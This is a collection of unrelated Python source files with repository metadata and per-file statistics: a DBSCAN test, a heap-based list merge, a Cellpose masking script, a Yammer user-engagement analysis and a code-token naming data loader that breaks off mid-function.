args = argument_parser.parse_args() GameOfLife(width=args.width, height=args.height, interval=args.interval, seed=args.seed).run() input("press enter to quit")

41.64486

123

0.47711

521

4,456

4.001919

0.264875

0.069065

0.052758

0.031655

0.326139

0.306954

0.235971

0.228777

0

0.034879

0.414497

4,456

106

124

42.037736

0.764278

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0

1

0.047619

false

0

0.059524

0

0.142857

0.011905

0

null

0

null

0

1

0

a820c01ed9ab1a3512b23d858002b832b81b6f26

506

py

Python

examples/snippets/data_io/df_connect/export_simple.py

nguyentr17/tamr-toolbox

1d27101eda12f937813cdbfe27e2fa9c33ac34d2

[ "Apache-2.0" ]

6

2021-02-09T22:27:55.000Z

2022-01-14T18:15:17.000Z

examples/snippets/data_io/df_connect/export_simple.py

nguyentr17/tamr-toolbox

1d27101eda12f937813cdbfe27e2fa9c33ac34d2

[ "Apache-2.0" ]

34

2021-02-09T22:23:33.000Z

2022-03-31T16:22:51.000Z

examples/snippets/data_io/df_connect/export_simple.py

nguyentr17/tamr-toolbox

1d27101eda12f937813cdbfe27e2fa9c33ac34d2

[ "Apache-2.0" ]

12

2021-02-09T21:17:10.000Z

2022-02-09T16:35:39.000Z

""" Export data from Tamr using df-connect. An example where everything is default in config file, which implies exported data is written back to same database as ingested from. """ import tamr_toolbox as tbox my_config = tbox.utils.config.from_yaml("examples/resources/conf/connect.config.yaml") my_connect = tbox.data_io.df_connect.client.from_config(my_config) tbox.data_io.df_connect.client.export_dataset( my_connect, dataset_name="example_dataset", target_table_name="example_target_table", )

36.142857

94

0.8083

79

506

4.949367

0.518987

0.069054

0.061381

0.127877

0

0.102767

506

13

95

38.923077

0.861233

0.341897

0

0.24

0.132308

0

1

0

false

0

0.166667

0

0.166667

0

null

0

null

0

1

0

a8247bed0a1cb5051fa0d35c0fab64fca16aa20d

1,396

py

Python

python/cuML/test/test_dbscan.py

rongou/cuml

9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec

[ "Apache-2.0" ]

null

python/cuML/test/test_dbscan.py

rongou/cuml

9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec

[ "Apache-2.0" ]

null

python/cuML/test/test_dbscan.py

rongou/cuml

9fbd7187ccf7ee7457c55b768ebd8ea86dbe2bec

[ "Apache-2.0" ]

null

# Copyright (c) 2018, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import pytest from cuml import DBSCAN as cuDBSCAN from sklearn.cluster import DBSCAN as skDBSCAN from test_utils import array_equal import cudf import numpy as np @pytest.mark.parametrize('datatype', [np.float32, np.float64]) def test_dbscan_predict(datatype): gdf = cudf.DataFrame() gdf['0']=np.asarray([1,2,2,8,8,25],dtype=datatype) gdf['1']=np.asarray([2,2,3,7,8,80],dtype=datatype) X = np.array([[1, 2], [2, 2], [2, 3], [8, 7], [8, 8], [25, 80]], dtype = datatype) print("Calling fit_predict") cudbscan = cuDBSCAN(eps = 3, min_samples = 2) cu_labels = cudbscan.fit_predict(gdf) skdbscan = skDBSCAN(eps = 3, min_samples = 2) sk_labels = skdbscan.fit_predict(X) print(X.shape[0]) for i in range(X.shape[0]): assert cu_labels[i] == sk_labels[i]

32.465116

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0.703438

223

1,396

4.345291

0.497758

0.06192

0.026832

0.033024

0.03096

0

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0.175501

1,396

42

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0.800174

0.401862

0

0.035452

0

0.05

1

0.05

false

0

0.3

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0.35

0.1

0

null

0

null

0

1

0

a8276b0d3215a9fe2604eec700ad87c77dc2f29b

769

py

Python

LeetCode/0023_merge_k_sorted_lists.py

KanegaeGabriel/ye-olde-interview-prep-grind

868362872523a5688f49ab48efb09c3008e0db4d

[ "MIT" ]

1

2020-05-13T19:16:23.000Z

LeetCode/0023_merge_k_sorted_lists.py

KanegaeGabriel/ye-olde-interview-prep-grind

868362872523a5688f49ab48efb09c3008e0db4d

[ "MIT" ]

null

LeetCode/0023_merge_k_sorted_lists.py

KanegaeGabriel/ye-olde-interview-prep-grind

868362872523a5688f49ab48efb09c3008e0db4d

[ "MIT" ]

null

from heapq import heappush, heappop class ListNode: def __init__(self, x): self.val = x self.next = None def __lt__(self, other): return self.val < other.val def mergeKLists(lists): result = ListNode(-1) p = result heap = [] for l in lists: if l: heappush(heap, l) while heap: cur = heappop(heap) if cur.next: heappush(heap, cur.next) p.next = cur p = p.next return result.next l1 = ListNode(1) l1.next = ListNode(4) l1.next.next = ListNode(5) l2 = ListNode(1) l2.next = ListNode(3) l2.next.next = ListNode(4) l3 = ListNode(2) l3.next = ListNode(6) l3 = mergeKLists([l1, l2, l3]) p = l3 while p: print(p.val, end=" ") # 1 1 2 3 4 4 5 6 p = p.next print()

17.477273

45

0.579974

121

769

3.619835

0.322314

0.136986

0.027397

0

0.054945

0.289987

769

44

46

17.477273

0.747253

0.019506

0

0.060606

0

0.001328

0

1

0.090909

false

0

0.030303

0.212121

0.060606

0

null

0

null

0

1

0

a82a766dd5a8919e5aec354cbe63b71c9cd59549

2,297

py

Python

source/cell_mask/cell_mask.py

zhanyinx/SPT_analysis

1cf806c1fd6051e7fc998d2860a16bea6aa9de1a

[ "MIT" ]

1

2021-07-09T11:51:04.000Z

source/cell_mask/cell_mask.py

zhanyinx/SPT_analysis

1cf806c1fd6051e7fc998d2860a16bea6aa9de1a

[ "MIT" ]

null

source/cell_mask/cell_mask.py

zhanyinx/SPT_analysis

1cf806c1fd6051e7fc998d2860a16bea6aa9de1a

[ "MIT" ]

null

import argparse import glob import numpy as np import os import skimage.io import torch import tifffile from cellpose import models def _parse_args(): """Parse command-line arguments.""" parser = argparse.ArgumentParser() parser.add_argument( "-i", "--input", type=str, default=None, required=True, help="Input image or folder with images to mask.", ) parser.add_argument( "-o", "--output", type=str, default=None, required=False, help="Output folder, default mask within input folder", ) parser.add_argument( "-t", "--target", type=str, default=None, required=False, help="Target channel tag, if provided, it will look for files with the tag.", ) args = parser.parse_args() return args def main(): """Create cell masks and save them into mask folder within input folder.""" args = _parse_args() if os.path.isdir(args.input): inputs = glob.glob(f"{args.input}/*tif") elif os.path.isfile(args.input): inputs = [args.input] else: raise ValueError(f"Expected input folder or file. Provided {args.input}.") if args.target is not None: inputs = [x for x in inputs if args.target in x] output = args.output if output is None: output = f"{os.path.abspath(args.input)}/mask" if not os.path.exists(output): os.mkdir(output) cellpose_model = models.Cellpose(model_type="cyto", gpu=False) for input_file in inputs: img = skimage.io.imread(input_file) middle_slice = len(img) // 2 if len(img.shape) == 4: mask_nucl, *_ = cellpose_model.eval( [np.max(img, axis=1)[middle_slice]], diameter=150, channels=[0, 0], min_size=15, ) if len(img.shape) == 3: mask_nucl, *_ = cellpose_model.eval( [img[middle_slice]], diameter=150, channels=[0, 0], min_size=15, ) name = os.path.basename(input_file) out = f"{output}/{name}" tifffile.imsave(out, mask_nucl[0]) if __name__ == "__main__": main()

25.241758

85

0.562908

284

2,297

4.43662

0.394366

0.042857

0.040476

0.042857

0.180952

0.120635

0.065079

0

0.012141

0.318677

2,297

90

86

25.522222

0.792971

0.0431

0

0.256757

0

0.145405

0.015546

0

1

0.027027

false

0

0.108108

0

0.148649

0

null

0

null

0

1

0

a82b6067d87e3c320c8e0fb55b9b998dccade592

14,134

py

Python

02-customer-cliff-dive/python/emery_leslie.py

leslem/insight-data-challenges

14c56d30663d7fef178b820d2128dbf4782c1200

[ "MIT" ]

null

02-customer-cliff-dive/python/emery_leslie.py

leslem/insight-data-challenges

14c56d30663d7fef178b820d2128dbf4782c1200

[ "MIT" ]

1

2021-06-08T02:43:08.000Z

2021-06-08T03:05:21.000Z

02-customer-cliff-dive/python/emery_leslie.py

leslem/insight-data-challenges

14c56d30663d7fef178b820d2128dbf4782c1200

[ "MIT" ]

null

# # Customer cliff dive data challenge # 2020-02-17 # Leslie Emery # ## Summary # ### The problem # The head of the Yammer product team has noticed a precipitous drop in weekly active users, which is one of the main KPIs for customer engagement. What has caused this drop? # ### My approach and results # I began by coming up with several questions to investigate: # - Was there any change in the way that weekly active users is calculated? # - This does not appear to be the case. To investigate this, I began by replicating the figure from the dashboard. I calculated a rolling 7-day count of engaged users, making sure to use the same method across the entire time frame covered by the dataset, and it still showed the same drop in engagement. # - Was there a change in any one particular type of "engagement"? # - I looked at a rolling 7-day count of each individual type of engagement action. From plotting all of these subplots, it looks to me like home_page, like_message, login, send_message, and view_inbox are all exhibiting a similar drop around the same time, so it's these underlying events that are driving the drop. # - Could a change in the user interface be making it more difficult or less pleasant for users? # - I couldn't find information in the available datasets to address this question. The `yammer_experiments` data set has information about experiments going on, presumably in the user interface. All of the listed experiments happened in June of 2014, though, which I think is too early to have caused the August drop in engagement. # - Is this drop a seasonal change that happens around this time every year? # - Because the data is only available for the period of time shown in the original dashboard, I can't investigate this question. I'd be very interested to see if there is a pattern of reduced engagement at the end of the summer, perhaps related to vacation or school schedules. # - Are users visiting the site less because they're getting more content via email? # - I calculated 7-day rolling counts of each type of email event, and all email events together. Email events overall went up during the time period immediately before the drop in user engagement. All four types of email events increased during the same period, indicating higher clickthroughs on emails, higher numbers of email open events, and more reengagement and weekly digest emails sent. It could be that the higher number of weekly digests sent out mean that users don't have to visit the site directly as much. # - Are users disengaging from the site due to too many emails/notifications? # - I calculated a rolling 7-day count of emails sent to each user and found that the number of emails sent to each user per 7-day period has increased from 5.4 emails (July 20) to 7.75 emails (August 11). This suggests that an increasing volume of emails sent to individual users could have driven them away from using the site. To investigate this further I would want to look into email unsubscribe rates. If unsubscribe rates have also gone up, then it seems that Yammer is sending too many emails to its users. # - To investigate whether the number of emails sent per user is correlated with the number of engaged users, I used a Granger causality test to see if "emails sent per user" could be used to predict "number of engaged users". With a high enough lag, the test statistics might be starting to become significant, but I would want to investigate these test results further before making any recommendations based on them. # - Is the drop in engagement due to a decrease in new activated users? e.g. they are reaching the end of potential customer base? # - I calculated the cumulative number of newly activated users over time, using the activation time for each user in the users table. I wanted to see if customer growth had leveled off. However, I saw that customer growth was still increasing in the same pattern. This was true when using creating date rather than activation date as well. # What is my recommendation to Yammer? # I have a few recommendations to Yammer: # - Try decreasing the number of emails sent to each individual user to see if this increases engagement. They could try this for a subset of users first. # - Investigate email unsubscribe rates to see if they are going up. This would indicate that increased email volume might be making users unhappy. # - Compare this data to a wider time range to see if the drop shown here is seasonal. # + import matplotlib.pyplot as plt import numpy as np import os import plotly.express as px import pandas as pd from scipy import stats from statsmodels.tsa.stattools import acf, pacf from statsmodels.graphics.tsaplots import plot_acf, plot_pacf from statsmodels.tsa.stattools import grangercausalitytests # - data_dir = '/Users/leslie/devel/insight-data-challenges/02-customer-cliff-dive/data' benn_normal = pd.read_csv(os.path.join(data_dir, 'benn.normal_distribution - benn.normal_distribution.csv.tsv'), sep='\t') rollup_periods = pd.read_csv(os.path.join(data_dir, 'dimension_rollup_periods - dimension_rollup_periods.csv.tsv'), sep='\t', parse_dates=['time_id', 'pst_start', 'pst_end', 'utc_start', 'utc_end']) yammer_emails = pd.read_csv(os.path.join(data_dir, 'yammer_emails - yammer_emails.csv.tsv'), sep='\t', parse_dates=['occurred_at']) yammer_events = pd.read_csv(os.path.join(data_dir, 'yammer_events - yammer_events.csv.tsv'), sep='\t', parse_dates=['occurred_at']) yammer_experiments = pd.read_csv(os.path.join(data_dir, 'yammer_experiments - yammer_experiments.csv.tsv'), sep='\t', parse_dates=['occurred_at']) yammer_users = pd.read_csv(os.path.join(data_dir, 'yammer_users - yammer_users.csv.tsv'), sep='\t', parse_dates=['created_at', 'activated_at']) # + benn_normal.info() benn_normal.head() benn_normal.describe() rollup_periods.info() rollup_periods.head() rollup_periods.describe() yammer_emails.info() yammer_emails.head() yammer_emails.describe() yammer_emails['action'].value_counts(dropna=False) yammer_emails['user_type'].value_counts(dropna=False) yammer_events.info() yammer_events.head() yammer_events.describe() yammer_events['occurred_at'] yammer_events['event_type'].value_counts(dropna=False) yammer_events['event_name'].value_counts(dropna=False) yammer_events['location'].value_counts(dropna=False) yammer_events['device'].value_counts(dropna=False) yammer_events['user_type'].value_counts(dropna=False) yammer_events['user_type'].dtype # user_type should be an int, but has many missing values, and NaN is a float. # So convert it to the Pandas Int64 dtype which can accommodate NaNs and ints. yammer_events = yammer_events.astype({'user_type': 'Int64'}) yammer_experiments.info() yammer_experiments.head() yammer_experiments.describe() yammer_experiments['experiment'].value_counts(dropna=False) yammer_experiments['experiment_group'].value_counts(dropna=False) yammer_experiments['location'].value_counts(dropna=False) yammer_experiments['device'].value_counts(dropna=False) yammer_users.info() yammer_users.head() yammer_users.describe() yammer_users['language'].value_counts(dropna=False) yammer_users['state'].value_counts(dropna=False) yammer_users['company_id'].value_counts(dropna=False) # - # ## Initial data investigation # + # How many days in the dataset? yammer_events['occurred_at'].max() - yammer_events['occurred_at'].min() # 122 days! rollup_periods['pst_start'].max() - rollup_periods['pst_end'].min() # 1094 days - way more intervals than needed to tile this events data! yammer_events = yammer_events.sort_values(by='occurred_at', ascending=True) small_events = yammer_events.head(int(yammer_events.shape[0]/10)).sample(n=40) small_events = small_events.sort_values(by='occurred_at', ascending=True) small_events['occurred_at'].max() - small_events['occurred_at'].min() weekly_rollup_periods = rollup_periods.loc[rollup_periods['period_id'] == 1007] # - # + small_rolling_engagement = small_events.loc[small_events['event_type'] == 'engagement'].rolling( '7D', on='occurred_at').count() # I'm not sure whether rollup_periods are closed on right, left, or both... # Calculate counts of engagement events in a 7-day rolling window rolling_engagement_counts = yammer_events.loc[yammer_events['event_type'] == 'engagement'].sort_values( by='occurred_at', ascending=True # Have to sort by "on" column to use rolling() ).rolling('7D', on='occurred_at', min_periods=1).count() # + # Use a loop to aggregate on rollup periods yammer_events['event_name'].unique() event_range = [min(yammer_events['occurred_at']), max(yammer_events['occurred_at'])] covered_weekly_rollup_periods = weekly_rollup_periods.loc[(weekly_rollup_periods['pst_end'] <= event_range[1]) & (weekly_rollup_periods['pst_start'] >= event_range[0])] # in interval --> start < occurred_at <= end counts_by_type = None for (ridx, row) in covered_weekly_rollup_periods.iterrows(): # row = covered_weekly_rollup_periods.iloc[0] # Get egagement events within the period df = yammer_events.loc[(yammer_events['occurred_at'] > row['pst_start']) & (yammer_events['occurred_at'] <= row['pst_end']) & (yammer_events['event_type'] == 'engagement')] # Count user engagement events cbt = df.groupby('event_name').aggregate(event_count=('user_id', 'count')).transpose() cbt['pst_start'] = row['pst_start'] cbt['pst_end'] = row['pst_end'] cbt['engaged_users'] = df['user_id'].nunique() cbt['engagement_event_count'] = df.shape[0] if counts_by_type is None: counts_by_type = cbt else: counts_by_type = counts_by_type.append(cbt) counts_by_type # + # Plot engaged users over time fig = px.scatter(counts_by_type, x='pst_end', y='engaged_users', template='plotly_white') fig.update_yaxes(range=[0, 1500]) fig.show() # Plot count of engagement_events over time fig = px.scatter(counts_by_type, x='pst_end', y='engagement_event_count', template='plotly_white') fig.show() # Plot count of individual event types over time counts_melted = counts_by_type.melt(id_vars=['pst_start', 'pst_end', 'engaged_users', 'engagement_event_count']) fig = px.scatter(counts_melted, x='pst_end', y='value', template='plotly_white', facet_col='event_name', facet_col_wrap=3, height=1200) fig.update_yaxes(matches=None) fig.show() # - # Are there any "experiments" messing things up? yammer_experiments['occurred_at'].describe() # No, these are all before the issue shows up # + # Investigate the sending of emails to user in the same rollup periods email_counts_by_type = None for (ridx, row) in covered_weekly_rollup_periods.iterrows(): # row = covered_weekly_rollup_periods.iloc[0] # Get egagement events within the period df = yammer_emails.loc[(yammer_events['occurred_at'] > row['pst_start']) & (yammer_events['occurred_at'] <= row['pst_end'])] # Count user engagement events cbt = df.groupby('action').aggregate(action_count=('user_id', 'count')).transpose() cbt['pst_start'] = row['pst_start'] cbt['pst_end'] = row['pst_end'] cbt['emailed_users'] = df['user_id'].nunique() cbt['email_event_count'] = df.shape[0] cbt['emails_sent_per_user'] = df.loc[df['action'].str.startswith('sent_')].groupby( 'user_id').count().mean()['user_type'] if email_counts_by_type is None: email_counts_by_type = cbt else: email_counts_by_type = email_counts_by_type.append(cbt) email_counts_by_type # + # Plot emailed users over time fig = px.scatter(email_counts_by_type, x='pst_end', y='emailed_users', template='plotly_white') fig.update_yaxes(range=[0, 1500]) fig.show() # Plot count of email events over time fig = px.scatter(email_counts_by_type, x='pst_end', y='email_event_count', template='plotly_white') fig.show() # Plot count of individual email types over time email_counts_melted = email_counts_by_type.melt(id_vars=[ 'pst_start', 'pst_end', 'emailed_users', 'email_event_count', 'emails_sent_per_user']) fig = px.scatter(email_counts_melted, x='pst_end', y='value', template='plotly_white', facet_col='action', facet_col_wrap=2) fig.update_yaxes(matches=None) fig.show() # - # + # What is email engagement event count per user? Did that increase? # + fig = px.scatter(email_counts_by_type, x='pst_start', y='emails_sent_per_user', template='plotly_white') fig.show() p, r = stats.pearsonr(email_counts_by_type['emails_sent_per_user'].to_numpy(), counts_by_type['engaged_users'].to_numpy()) # They do look moderately correlated, but how do I test that one has an effect on the other? # - acf_50 = acf(counts_by_type['engaged_users'], nlags=50, fft=True) pacf_50 = pacf(counts_by_type['engaged_users'], nlags=50) fig, axes = plt.subplots(1, 2, figsize=(16, 3), dpi=200) plot_acf(counts_by_type['engaged_users'].tolist(), lags=50, ax=axes[0]) plot_pacf(counts_by_type['engaged_users'].tolist(), lags=50, ax=axes[1]) plt.show() test_df = pd.DataFrame({'emails_sent_per_user': email_counts_by_type['emails_sent_per_user'].to_numpy(), 'engaged_users': counts_by_type['engaged_users'].to_numpy()}) lags = range(20) caus_test = grangercausalitytests(test_df, maxlag=lags) # Has there been a dropoff in new users? # + yammer_users = yammer_users.sort_values(by='created_at', ascending=True) yammer_users['cumulative_users'] = pd.Series(np.ones(yammer_users.shape[0]).cumsum()) fig = px.scatter(yammer_users, x='created_at', y='cumulative_users', template='plotly_white') fig.show() # Nope, growth is still practicially exponenital yammer_users['cumulative_activated_users'] = pd.Series(np.ones(yammer_users.shape[0]).cumsum()) fig = px.scatter(yammer_users, x='created_at', y='cumulative_activated_users', template='plotly_white') fig.show() yammer_users['company_id'].nunique() # -

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a82c200cd117a48cc9a2ebacd146f50b56baabcf

23,587

py

Python

convolutional_attention/token_naming_data.py

s1530129650/convolutional-attention

8839da8146962879bb419a61253e7cf1b684fb22

[ "BSD-3-Clause" ]

128

2016-05-10T01:38:27.000Z

2022-02-04T07:14:12.000Z

convolutional_attention/token_naming_data.py

s1530129650/convolutional-attention

8839da8146962879bb419a61253e7cf1b684fb22

[ "BSD-3-Clause" ]

6

2016-07-19T09:27:47.000Z

2021-07-08T21:22:32.000Z

convolutional_attention/token_naming_data.py

s1530129650/convolutional-attention

8839da8146962879bb419a61253e7cf1b684fb22

[ "BSD-3-Clause" ]

36

2016-05-11T08:57:26.000Z

2021-07-07T02:37:07.000Z

from collections import defaultdict import heapq from itertools import chain, repeat from feature_dict import FeatureDictionary import json import numpy as np import scipy.sparse as sp class TokenCodeNamingData: SUBTOKEN_START = "%START%" SUBTOKEN_END = "%END%" NONE = "%NONE%" @staticmethod def __get_file_data(input_file): with open(input_file, 'r') as f: data = json.load(f) # data=[{"tokens":"hello world I am OK".split(),"name":"hello world you".split()}]*4 # data+=[{"tokens":"just another test of a silly program".split(),"name":"who knows".split()}]*4 names = [] original_names = [] code = [] for entry in data: # skip entries with no relevant data (this will crash the code) if len(entry["tokens"]) == 0 or len(entry["name"]) == 0: continue code.append(TokenCodeNamingData.remove_identifiers_markers(entry["tokens"])) original_names.append(",".join(entry["name"])) subtokens = entry["name"] names.append([TokenCodeNamingData.SUBTOKEN_START] + subtokens + [TokenCodeNamingData.SUBTOKEN_END]) return names, code, original_names def __init__(self, names, code): self.name_dictionary = FeatureDictionary.get_feature_dictionary_for(chain.from_iterable(names), 2) self.name_dictionary.add_or_get_id(self.NONE) self.all_tokens_dictionary = FeatureDictionary.get_feature_dictionary_for(chain.from_iterable( [chain.from_iterable(code), chain.from_iterable(names)]), 5) self.all_tokens_dictionary.add_or_get_id(self.NONE) self.name_empirical_dist = self.__get_empirical_distribution(self.all_tokens_dictionary, chain.from_iterable(names)) @staticmethod def __get_empirical_distribution(element_dict, elements, dirichlet_alpha=10.): """ Retrive te empirical distribution of tokens :param element_dict: a dictionary that can convert the elements to their respective ids. :param elements: an iterable of all the elements :return: """ targets = np.array([element_dict.get_id_or_unk(t) for t in elements]) empirical_distribution = np.bincount(targets, minlength=len(element_dict)).astype(float) empirical_distribution += dirichlet_alpha / len(empirical_distribution) return empirical_distribution / (np.sum(empirical_distribution) + dirichlet_alpha) def __get_in_lbl_format(self, data, dictionary, cx_size): targets = [] contexts = [] ids = [] for i, sequence in enumerate(data): for j in xrange(1, len(sequence)): # First element should always be predictable (ie sentence start) ids.append(i) targets.append(dictionary.get_id_or_unk(sequence[j])) context = sequence[:j] if len(context) < cx_size: context = [self.NONE] * (cx_size - len(context)) + context else: context = context[-cx_size:] assert len(context) == cx_size, (len(context), cx_size,) contexts.append([dictionary.get_id_or_unk(t) for t in context]) return np.array(targets, dtype=np.int32), np.array(contexts, dtype=np.int32), np.array(ids, np.int32) def get_data_in_lbl_format(self, input_file, code_cx_size, names_cx_size): names, code, original_names = self.__get_file_data(input_file) return self.__get_in_lbl_format(names, self.name_dictionary, names_cx_size), \ self.__get_in_lbl_format(code, self.all_tokens_dictionary, code_cx_size), original_names @staticmethod def get_data_in_lbl_format_with_validation(input_file, code_cx_size, names_cx_size, pct_train): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) original_names = np.array(original_names, dtype=np.object) lim = int(pct_train * len(names)) naming = TokenCodeNamingData(names[:lim], code[:lim]) return naming.__get_in_lbl_format(names[:lim], naming.name_dictionary, names_cx_size), \ naming.__get_in_lbl_format(code[:lim], naming.all_tokens_dictionary, code_cx_size), original_names[:lim], \ naming.__get_in_lbl_format(names[lim:], naming.name_dictionary, names_cx_size), \ naming.__get_in_lbl_format(code[lim:], naming.all_tokens_dictionary, code_cx_size), original_names[lim:], naming @staticmethod def get_data_in_forward_format_with_validation(input_file, names_cx_size, pct_train): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) original_names = np.array(original_names, dtype=np.object) lim = int(pct_train * len(names)) naming = TokenCodeNamingData(names[:lim], code[:lim]) return naming.__get_data_in_forward_format(names[:lim], code[:lim], names_cx_size),\ naming.__get_data_in_forward_format(names[lim:], code[lim:], names_cx_size), naming def get_data_in_forward_format(self, input_file, name_cx_size): names, code, original_names = self.__get_file_data(input_file) return self.__get_data_in_forward_format(names, code, name_cx_size), original_names def __get_data_in_forward_format(self, names, code, name_cx_size): """ Get the data in a "forward" model format. :param data: :param name_cx_size: :return: """ assert len(names) == len(code), (len(names), len(code), code.shape) # Keep only identifiers in code #code = self.keep_identifiers_only(code) name_targets = [] name_contexts = [] original_names_ids = [] id_xs = [] id_ys = [] k = 0 for i, name in enumerate(names): for j in xrange(1, len(name)): # First element should always be predictable (ie sentence start) name_targets.append(self.name_dictionary.get_id_or_unk(name[j])) original_names_ids.append(i) context = name[:j] if len(context) < name_cx_size: context = [self.NONE] * (name_cx_size - len(context)) + context else: context = context[-name_cx_size:] assert len(context) == name_cx_size, (len(context), name_cx_size,) name_contexts.append([self.name_dictionary.get_id_or_unk(t) for t in context]) for code_token in set(code[i]): token_id = self.all_tokens_dictionary.get_id_or_none(code_token) if token_id is not None: id_xs.append(k) id_ys.append(token_id) k += 1 code_features = sp.csr_matrix((np.ones(len(id_xs)), (id_xs, id_ys)), shape=(k, len(self.all_tokens_dictionary)), dtype=np.int32) name_targets = np.array(name_targets, dtype=np.int32) name_contexts = np.array(name_contexts, dtype=np.int32) original_names_ids = np.array(original_names_ids, dtype=np.int32) return name_targets, name_contexts, code_features, original_names_ids @staticmethod def keep_identifiers_only(self, code): filtered_code = [] for tokens in code: identifier_tokens = [] in_id = False for t in tokens: if t == "<id>": in_id = True elif t == '</id>': in_id = False elif in_id: identifier_tokens.append(t) filtered_code.append(identifier_tokens) return filtered_code @staticmethod def remove_identifiers_markers(code): return filter(lambda t: t != "<id>" and t != "</id>", code) def get_data_in_convolution_format(self, input_file, name_cx_size, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_convolution(names, code, name_cx_size, min_code_size), original_names def get_data_in_copy_convolution_format(self, input_file, name_cx_size, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_copy_convolution(names, code, name_cx_size, min_code_size), original_names def get_data_in_recurrent_convolution_format(self, input_file, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_recurrent_convolution(names, code, min_code_size), original_names def get_data_in_recurrent_copy_convolution_format(self, input_file, min_code_size): names, code, original_names = self.__get_file_data(input_file) return self.get_data_for_recurrent_copy_convolution(names, code, min_code_size), original_names def get_data_for_convolution(self, names, code, name_cx_size, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] name_contexts = [] original_names_ids = [] code_sentences = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) for j in xrange(1, len(name)): # First element should always be predictable (ie sentence start) name_targets.append(self.all_tokens_dictionary.get_id_or_unk(name[j])) original_names_ids.append(i) context = name[:j] if len(context) < name_cx_size: context = [self.NONE] * (name_cx_size - len(context)) + context else: context = context[-name_cx_size:] assert len(context) == name_cx_size, (len(context), name_cx_size,) name_contexts.append([self.name_dictionary.get_id_or_unk(t) for t in context]) code_sentences.append(np.array(code_sentence, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.int32) name_contexts = np.array(name_contexts, dtype=np.int32) code_sentences = np.array(code_sentences, dtype=np.object) original_names_ids = np.array(original_names_ids, dtype=np.int32) return name_targets, name_contexts, code_sentences, original_names_ids def get_data_for_recurrent_convolution(self, names, code, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] code_sentences = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) name_tokens = [self.all_tokens_dictionary.get_id_or_unk(t) for t in name] name_targets.append(np.array(name_tokens, dtype=np.int32)) code_sentences.append(np.array(code_sentence, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.object) code_sentences = np.array(code_sentences, dtype=np.object) return name_targets, code_sentences def get_data_for_recurrent_copy_convolution(self, names, code, sentence_padding): assert len(names) == len(code), (len(names), len(code), code.shape) name_targets = [] target_is_unk = [] copy_vectors = [] code_sentences = [] padding = [self.all_tokens_dictionary.get_id_or_unk(self.NONE)] for i, name in enumerate(names): code_sentence = [self.all_tokens_dictionary.get_id_or_unk(t) for t in code[i]] if sentence_padding % 2 == 0: code_sentence = padding * (sentence_padding / 2) + code_sentence + padding * (sentence_padding / 2) else: code_sentence = padding * (sentence_padding / 2 + 1) + code_sentence + padding * (sentence_padding / 2) name_tokens = [self.all_tokens_dictionary.get_id_or_unk(t) for t in name] unk_tokens = [self.all_tokens_dictionary.is_unk(t) for t in name] target_can_be_copied = [[t == subtok for t in code[i]] for subtok in name] name_targets.append(np.array(name_tokens, dtype=np.int32)) target_is_unk.append(np.array(unk_tokens, dtype=np.int32)) copy_vectors.append(np.array(target_can_be_copied, dtype=np.int32)) code_sentences.append(np.array(code_sentence, dtype=np.int32)) name_targets = np.array(name_targets, dtype=np.object) code_sentences = np.array(code_sentences, dtype=np.object) code = np.array(code, dtype=np.object) target_is_unk = np.array(target_is_unk, dtype=np.object) copy_vectors = np.array(copy_vectors, dtype=np.object) return name_targets, code_sentences, code, target_is_unk, copy_vectors @staticmethod def get_data_in_recurrent_convolution_format_with_validation(input_file, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_recurrent_convolution(names[idxs[:lim]], code[idxs[:lim]], min_code_size),\ naming.get_data_for_recurrent_convolution(names[idxs[lim:]], code[idxs[lim:]], min_code_size), naming @staticmethod def get_data_in_recurrent_copy_convolution_format_with_validation(input_file, pct_train, min_code_size): assert pct_train < 1 assert pct_train > 0 names, code, original_names = TokenCodeNamingData.__get_file_data(input_file) names = np.array(names, dtype=np.object) code = np.array(code, dtype=np.object) lim = int(pct_train * len(names)) idxs = np.arange(len(names)) np.random.shuffle(idxs) naming = TokenCodeNamingData(names[idxs[:lim]], code[idxs[:lim]]) return naming.get_data_for_recurrent_copy_convolution(names[idxs[:lim]], code[idxs[:lim]], min_code_size),\ naming.get_data_for_recurrent_copy_convolution(names[idxs[lim:]], code[idxs[lim:]], min_code_size), naming @staticmethod def get_data_in_convolution_format_with_validation(input_file, names_cx_size, pct_train, min_code_size): assert pct_train < 1 assert 